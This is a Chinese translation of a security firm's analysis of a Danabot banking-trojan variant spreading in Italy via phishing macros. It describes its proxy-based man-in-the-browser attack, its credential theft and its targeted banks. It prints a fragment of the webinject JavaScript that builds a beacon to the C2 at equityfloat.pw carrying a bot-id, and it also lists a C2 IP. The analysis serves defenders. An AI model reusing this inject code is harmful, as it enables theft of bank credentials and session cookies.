1. 程式人生 > >深入剖析在義大利肆掠的Danabot木馬新變種

深入剖析在義大利肆掠的Danabot木馬新變種

儘管ProofpointEset等安全公司早在今年5月份就曾針對在澳大利亞傳播的Danabot樣本進行了全面的分析,但就在過去的幾周裡,一個新的Danabot變種再次襲擊了義大利。在這篇文章中,Cybaze-Yoroi ZLab將對最近通過以“fattura(發票)”為主題的網路釣魚電子郵件(例如,N051118)在義大利傳播的Danabot變種之一進行剖析。值得注意的是,這個變種濫用了包含嵌入式巨集的Word文件來下載惡意DLL paylaod。

技術分析

首先,這個新的Danabot變種會嘗試通過加密的SSL通道連線到遠端主機149.154.157.104(EDIS-IT IT),然後下載其他元件並從檔案系統中刪除自己。與此同時,它還會在“HKLM\SYSTEM\CurrentControlSet\Services”登錄檔項中設定了一個系統服務。以下注冊表項被用於載入位於“C:\ProgramData\D93C2DAC”資料夾中的DLL,該資料夾被配置為“只讀”和“隱藏”。

圖1.惡意軟體建立的登錄檔項

圖2. D93C2DAC資料夾

這個隱藏資料夾包含兩個處於執行中的元件:“D93C2D32.dll”和“D93C2D64.dll”。實際上,它們是兩個完全相同的元件,區別在於一個是32位,一個是64位。顯然,它們是針對不同體系機構的目標主機設計的,但都通過rundll32.exe程序執行。

也就是說,惡意DLL至少會被載入兩次(一次載入D93C2D32.dll,一次載入D93C2D64.dll),且每次的引數都不同,具體取決於要匯出的函式(針對不同體系機構的目標主機):

圖3.惡意DLL匯出的函式

圖4.惡意軟體的執行示例

如圖3所示,惡意DLL最終會匯出8個關鍵函式:“f1”、“f2”、“f3”、“f4”、“f5”、“f6”、“f7”和“f8”。其中,“f1”被用於將惡意軟體安裝到目標主機中,而“f4”和“f5”則被用於實現永續性。具體來說,“f5”被用於在本地埠1080上設定一個系統轉發代理。如此一來,目標主機與Internet之間的所有通訊都將通過代理進行,使得惡意軟體能夠攔截和篡改網路流量。相對應的,“f4”被用於管理流量並執行Man-In-The-Browser攻擊。如此一來,從目標主機到Internet的所有DNS呼叫都將被篡改,以與惡意軟體中硬編碼的銀行網站列表相匹配。惡意軟體會在原始頁面中添加了一段javascript程式碼,以竊取使用者名稱、密碼和會話cookie等敏感資訊。

圖5.執行中的監聽代理

在執行上述函式的過程中,惡意軟體還會搜尋儲存在已安裝Web瀏覽器(如Google Chrome和Mozilla Firefox)資料資料夾中的敏感資訊,如儲存的憑證。然後,它會將收集到的憑證儲存在位於“C:\WINDOWS\TEMP”路徑下的一個臨時SQLite資料庫中。

圖6.帶有被盜憑證的臨時SQLite資料庫

Man-In-The-Browser攻擊

為了能夠執行Man-In-The-Browser攻擊,惡意軟體設定了一個系統轉發代理,如圖7所示。通過這種方式,它能夠檢查所有傳入和傳出的internet流量。當受害者訪問任意一個目標網站的特定網頁時,惡意軟體都會將一段自定義javascript程式碼注入該頁面,以竊取敏感的使用者資訊,如個人詳細資訊、憑證和PAN碼。如上所述,這個代理是由惡意DLL的“ f4 ”函式負責管理的。

圖7.代理設定

圖8.惡意軟體的程式碼片段

通過對惡意軟體樣本原始碼的分析,Cybaze-Yoroi ZLab得到了其目標網頁的完整列表。從這份列表來看,該惡意軟體針對的是各種金融機構的客戶,且大多數都是義大利銀行的客戶,如Bancoposte、Intesa San Paolo、Banca Generali、BNL、Hello Bank、UBI Banca等。除了銀行網站之外,惡意軟體還針對了一些電子郵件服務提供商,如Tim、Yahoo、Hotmail、GMail等國際通用的電子郵件服務,以及與 Tecnocasa等義大利房地產公司相關的其他更具體的電子郵件服務。

圖9.沒有被注入指令碼的銀行網站

圖10.被注入指令碼的銀行網站

Web-Inject

被注入網頁的惡意javascript會將被盜資訊傳送給C2,包括受害者的會話cookie。如下程式碼片段是從“ http://equityfloat[.]pw/hc/myjs28frr_s51.js”下載的webinject程式碼。

圖11.從equityfloat[.]pw C2下載的javascript

這段Webinject程式碼被用於檢查惡意php資源“/my9rep/777.php”,以及將包括bot-id在內的受感染主機詳細資訊和當前會話cookie傳送給C2。

var wwww = 'https://equityfloat.pw/';

wwww = "https://" + document.location.host + "/";

var waitdiv = "<center id=\"fkwt\" class=\"fkwt\"> <br/> Poczekaj aż Twój komputer zostanie zidentyfikowany. Może to potrwać trochę czasu... <br/><img src=\"" + wwww + "/my9rep/777.php?imgto=wait\"></img></center>";

var waitfk = "";

var waitlok = "<div><center> <br/> Prowadzone sa prace modernizacyjne w celu jak najszybszego przywrocenia dzialania systemu.<br/>Przyblizony czas modernizacji wynosi kilka godzin.<br/>Przepraszamy za tymczasowe utrudnienie i niedogodnosci.<br/><center></div>";

 

var netbot = "frr";

var rem777bname2 = "";

var tbid = my7ajx("#myjs1[data-botid]");

if (tbid.length > 0) rem777bname2 = tbid.attr("data-botid");

var loca = location.href;

var tyyp = true;

 

var apan = wwww + "/my9rep/777.php?typ=" + document.location.host + "&sub=" + netbot + "&b=2&inf=" + rem777bname2;

 

var args = {};

var tmp1;

var tkstate = 1;

var lg = "",

ps = "",

tk = "";

var lgf;

var pss;

var tabl;

var tabltr;

var btn;

var clickfnc;

var ansq = false;

需要指出的是,該惡意軟體使用了一個自定義的JQuery指令碼“var tbid=my7ajx(“#myjs1[data-botid]”);”來設定受感染主機的bot-id,而這個bot-id與C2 “equityfloat.]com”php頁面的路徑聯絡在一起。

var apan = wwww + "/my9rep/777.php?typ=" + document.location.host + "&sub=" + netbot + "&b=2&inf=" + rem777bname2;

通過這種方式,攻擊者可以獲知MitB代理是否注入成功。

總結

在過去的一年裡,Danabot已經將其活動範圍擴大到了義大利,尤其是在今年11月份(例如,N051118)期間,Cybaze-Yoroi ZLab就攔截了一波大規模的攻擊浪潮。從惡意軟體樣本所針對的目標來看,網路犯罪分子對義大利使用者和組織的興趣正在日益增加,且不僅僅侷限於傳統的銀行業。